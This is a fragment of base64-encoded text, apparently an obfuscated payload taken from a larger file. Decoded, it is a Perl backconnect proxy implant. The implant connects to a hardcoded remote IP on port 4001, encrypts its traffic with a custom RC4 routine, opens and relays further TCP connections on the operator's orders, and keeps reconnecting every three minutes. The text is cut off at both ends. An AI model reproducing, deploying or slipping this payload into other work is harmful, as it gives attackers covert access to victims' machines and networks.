QsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNv